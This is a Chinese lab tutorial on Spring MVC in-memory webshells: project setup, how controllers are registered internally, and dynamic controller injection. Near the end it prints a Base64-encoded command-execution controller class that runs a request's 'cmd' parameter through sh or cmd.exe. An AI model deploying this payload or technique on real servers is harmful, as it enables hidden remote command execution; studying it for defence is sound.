SpringMVC内存马
SpringMVC内存马
基础概念
- 基础架构: Spring MVC 是基于 Servlet API 构建的。Spring MVC 的核心组件 DispatcherServlet 本质上是一个 Servlet, 它负责将 HTTP 请求分发到相应的处理器(如 Controller)
- 请求处理流程:当一个 HTTP 请求到达时,Servlet 容器(如 Tomcat)会将请求传递给 DispatcherServlet。DispatcherServlet 再根据请求映射将请求分发给相应的 Controller 进行处理。
DispatcherServlet
DispatcherServlet 是 Spring MVC 框架的核心组件之一,本质上是一个 Servlet, 它负责将 HTTP 请求分发到相应的处理器(如 Controller)
主要职责
- 初始化:在应用启动时,
DispatcherServlet会被初始化,并加载 Spring 应用上下文(ApplicationContext),从而初始化所有的 Spring Bean,包括 Controller、Service、Repository 等 - 请求分发:
DispatcherServlet拦截所有进入的 HTTP 请求,并根据请求 URL 将其分发到相应的 Controller 进行处理。 - 视图解析:处理完请求后,
DispatcherServlet会将处理结果交给视图解析器(ViewResolver),生成最终的视图(如 JSP、Thymeleaf 模板等)并返回给客户端。
- 初始化:在应用启动时,
工作流程
- 接收请求:
DispatcherServlet接收到 HTTP 请求。 - 查找处理器:根据请求 URL,
DispatcherServlet使用处理器映射(HandlerMapping)查找相应的处理器(通常是一个 Controller)。 - 调用处理器:将请求交给找到的处理器(Controller)进行处理。
- 处理结果:处理器返回一个 ModelAndView 对象,包含视图名和模型数据。
- 视图解析:
DispatcherServlet使用视图解析器(ViewResolver)将视图名解析为实际的视图对象。 - 渲染视图:视图对象负责渲染最终的视图,并将其返回给客户端。
- 接收请求:
配置
在 Spring Boot 中,
DispatcherServlet通常是自动配置的,但在传统的 Spring MVC 项目中,需要在web.xml中进行配置:
环境配置
部署环境:
tomcat:8Docker(jdk21.0.2)开发环境:
jdk21.0.2+maven 3.9.9+jdk1.8.0_121
使用IDEA
MoreThanJava/java-web/springMVC/Spring-MVC【入门】就这一篇!.md at master · wmyskxz/MoreThanJava · GitHub
IDEA 便捷创建 Spring 项目需要 Ultimate 版本, 这里暂且按下不表, 等后续申请到 License 考虑补充下(
可以直接参考 MoreThanJava/java-web/springMVC/Spring-MVC【入门】就这一篇!.md at master · wmyskxz/MoreThanJava · GitHub
使用VSCode
VSCode 上的 Spring MVC - Maven 项目 - DEV 社区 --- Spring MVC on VSCode - Maven Project - DEV Community
安装 Extension Pack for Java 扩展:

创建一个基本的Maven Web项目
使用 VSCode 先创建一个 Maven Web 项目
创建 Maven 项目:


版本选择最新的即可:

group id 按需填写, 直接 com.example 也行

填写 artifact id
Maven 项目中,
artifactId代表了项目的唯一标识符, 通常也是项目的名称, 通常与groupId结合使用来唯一标识一个项目。Maven 会使用它来命名生成的构建工件(如 JAR 或 WAR 文件)。
artifactId通常是项目的名称,应该简洁明了,能够反映项目的功能或目的通常使用小写字母和短横线(
-)来分隔单词例如,如果此项目是一个动态过滤器示例,可以使用dynamic-filter-demo作为artifactId

选择一个目录放置此项目后会自动开始构建(需要手动确认/修改下版本号)

添加依赖



这会自动给当前 pom.xml 添加一个 dependency:

spring-webmvc 是 Spring MVC 框架的核心,它依赖于 spring-core、spring-beans 和 spring-context,并且包含了 spring-web。添加这个依赖后,会自动引入其他必要的 Spring 组件,如 Servlet 相关的支持、Web 应用程序上下文、控制器、视图解析器等。
直接添加 spring-webmvc 可以方便地创建一个 Spring MVC 项目,因为它已经包含了所有必需的依赖,而不需要手动添加其他 Spring 核心模块。
这里建议修改一下 pom.xml, 默认的可能不是最合适的
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.summery233</groupId> <artifactId>spring-webmvc-memshell</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging> <name>spring-webmvc-memshell Maven Webapp</name> <!-- FIXME change it to the project's website --> <url>http://www.example.com</url> <repositories> <repository> <id>aliyun-public</id> <name>阿里云公共仓库</name> <url>https://maven.aliyun.com/repository/public</url> </repository> </repositories> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>5.2.3.RELEASE</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.100</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> </dependencies> </project>
这里 jdk 版本设置不能太高, 建议直接和上述配置一样是 8, 高了可能会出现编译出的 class spring用不了的情况
这里的 spring-webmvc 版本也不能太高, 否则后面关于的配置中关于 Controller 的部分也会找不到类, 建议和上述配置文件保持一致
配置VSCode Task
想方便编译项目的话也可以在当前项目根目录下新建一个 .vscode/tasks.json 文件:
{
"version": "2.0.0",
"tasks": [
{
"label": "Maven Compile",
"type": "shell",
"command": "mvn clean compile",
"group": {
"kind": "build",
"isDefault": false
},
"problemMatcher": ["$javac"]
},
{
"label": "Maven Package",
"type": "shell",
"command": "mvn clean package",
"group": {
"kind": "build",
"isDefault": true
},
"problemMatcher": ["$javac"]
}
]
}这样直接 Ctrl+Shift+B 会调用其中 "isDefault": true 的 mvn clean package 命令

要运行其他非默认 Task 可以 Ctrl+shift+P 调出命令面板, 选择 Tasks: Run Task


配置 WEB-INF

applicationContext.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
</beans>dispatcher-servlet.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
<context:component-scan base-package="com.summery233"/>
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
</beans>web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<display-name>Archetype Created Web Application</display-name>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>WEB-INF/dispatcher-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>编写一个基础的 Controller
package com.summery233;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* spring index controller
*
* @author su18
*/
@Controller
@RequestMapping(value = "/index")
public class IndexController {
@GetMapping()
public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
response.getWriter().println("spring index controller");
}
}编译部署后可以访问 /index 看到对应回显

Spring Controller 内存马
动态注册 Controller
在动态注册 Servlet 时,注册了两个东西,一个是 Servlet 的本身实现,一个 Servlet 与 URL 的映射 Servlet-Mapping
在注册 Controller 时,也同样需要注册两个东西,一个是 Controller,一个是 RequestMapping 映射。这里使用 spring-webmvc-5.2.3 进行调试。
所谓 Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping 注入的过程, 可以参考 RequestMappingHandlerMapping注入的正确姿势-CSDN博客
首先来看两个类:
RequestMappingInfo:一个封装类,对一次 http 请求中的相关信息进行封装。HandlerMethod:对 Controller 的处理请求方法的封装,里面包含了该方法所属的 bean、method、参数等对象。
SpringMVC 初始化时,在每个容器的 bean 构造方法、属性设置之后,将会使用 InitializingBean 的 afterPropertiesSet 方法进行 Bean 的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有 @Controller 注解类中的方法级别的 @RequestMapping 以及 RequestMappingInfo 实例的创建。看一下具体的是怎么创建的。
它的 afterPropertiesSet 方法初始化了 RequestMappingInfo.BuilderConfiguration 这个配置类,然后调用了其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法。

这个方法调用了 initHandlerMethods 方法,首先获取了 Spring 中注册的 Bean,然后循环遍历,调用 processCandidateBean 方法处理 Bean。

processCandidateBean 方法

isHandler 方法判断当前 bean 定义是否带有 Controller 或 RequestMapping 注解。

detectHandlerMethods 查找 handler methods 并注册。

正如上面提到的 在注册 Controller 时,也同样需要注册两个东西,一个是 Controller,一个是 RequestMapping 映射, 这部分有两个关键功能,一个是 getMappingForMethod 方法根据 handler method 创建RequestMappingInfo 对象,一个是 registerHandlerMethod 方法将 handler method 与访问的 创建 RequestMappingInfo 进行相关映射。

这里我们看到,是调用了 MappingRegistry 的 register 方法,这个方法将一些关键信息进行包装、处理和储存

关键信息储存位置如下:

以上就是整个注册流程
然后来看一次请求进来时的查找流程
在 AbstractHandlerMethodMapping 的 lookupHandlerMethod 方法:
- 在 MappingRegistry.urlLookup 中获取直接匹配的 RequestMappingInfos
- 如果没有,则遍历所有的 MappingRegistry.mappingLookup 中保存的 RequestMappingInfos
- 获取最佳匹配的 RequestMappingInfo 对应的 HandlerMethod
上述的流程和较详细的流程描述在 SpringMVC源码之Controller查找原理 - 卧颜沉默 - 博客园 (cnblogs.com) 中可以查看
那接下来就是动态注册 Controller 了,LandGrey 师傅在 基于内存 Webshell 的无文件攻击技术研究 - LandGrey's Blog 中列举了几种可用来添加的接口,其实本章上都是调用之前我们提到的 MappingRegistry 的 register 方法。
和 Servlet 的添加较为类似的是,重点需要添加的就是访问 url 与 RequestMappingInfo 的映射,以及是 RequestMappingInfo 与 HandlerMethod 的映射。
这里我不会使用 LandGrey 师傅提到的接口,而是直接使用 MappingRegistry 的 register 方法来添加,当然,同样可以通过自己实现逻辑,通过反射直接写进重要位置,不使用 Spring 提供的接口。
Base64字符串加载为Class
编写一个将 Base64 编码的 class 字符串解析生成对应 class 对象的函数

顺便可以看一下 su18 师傅这里的这个 SpringController Base64 对应的 class:

编写动态注册 Controller 方法


看看 su18 师傅的原生代码效果
正常访问 indexController:

动态添加 Controller: /add

访问添加的 Controller: /su18

注入恶意Controller
编写恶意 Controller:

连着项目一期编译, 取出这个类的 class 编码为 Base64 字符串:

yv66vgAAADQAqAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCAAIAQAYdGV4dC9odG1sOyBjaGFyc2V0PVVURi04CwAKAAsHAAwMAA0ADgEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAOc2V0Q29udGVudFR5cGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYIABABAAVVVEYtOAsACgASDAATAA4BABRzZXRDaGFyYWN0ZXJFbmNvZGluZwsACgAVDAAWABcBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwgAGQEAIXRoaXMgaXMgYSBTdW1tZXJDb250cm9sbGVyQ01EPGJyPgoAGwAcBwAdDAAeAA4BABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbggAIAEAA2NtZAsAIgAjBwAkDAAlACYBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsHACgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHACoBABBqYXZhL2xhbmcvU3RyaW5nCAAsAQAGd2hvYW1pCgAnAC4MAAUALwEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYKACcAMQwAMgAzAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsKADUANgcANwwAOAA5AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07BwA7AQARamF2YS91dGlsL1NjYW5uZXIKADoAPQwABQA+AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCABAAQACXGEKADoAQgwAQwBEAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7CgA6AEYMAEcASAEAB2hhc05leHQBAAMoKVoKADoASgwASwBMAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7CABOAQAACABQAQABXAoAKQBSDABTAFQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgoAOgBWDABXAAYBAAVjbG9zZQcAWQEAE2phdmEvbGFuZy9UaHJvd2FibGUKAFgAWwwAXABdAQANYWRkU3VwcHJlc3NlZAEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVggAXwEAAnNoCABhAQACLWMIAGMBAAdjbWQuZXhlCABlAQACL2MKAGcAaAcAaQwAagBrAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CgBnAG0MAG4AbwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CgAbAHEMAHIABgEABWZsdXNoCgAbAFYHAHUBABNqYXZhL2xhbmcvRXhjZXB0aW9uCgB0AHcMAHgABgEAD3ByaW50U3RhY2tUcmFjZQcAegEALWNvbS9zdW1tZXJ5MjMzL2NvbnRyb2xsZXIvU3VtbWVyQ29udHJvbGxlckNNRAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAvTGNvbS9zdW1tZXJ5MjMzL2NvbnRyb2xsZXIvU3VtbWVyQ29udHJvbGxlckNNRDsBAAVpbmRleAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAhvdXRwdXRPUwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACXNjYW5uZXJPUwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAA5yZXNwb25zZVdyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEABm91dHB1dAEAAXMBAAdpc0xpbnV4AQABWgEAEHByb2Nlc3NCdWlsZGVyT1MBABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEACXByb2Nlc3NPUwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAARpbk9TAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAEY21kcwEA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对应改下注册代码:

需要注意的是之前做 Tomcat 内存马时写的恶意类不会实际注册到应用中, 因为没在 web.xml 或者注解配置路由
这里写的恶意类连着项目编译的话是能够成功注册的, 所以要测试内存马的话记得把这个类文件移出去
编译部署看下:

如果没把恶意类移出去会提示路由已存在
/add:

/summerControllerCMD?cmd=id:

Spring Interceptor 内存马
转到 Spring Interceptor 内存马 查阅


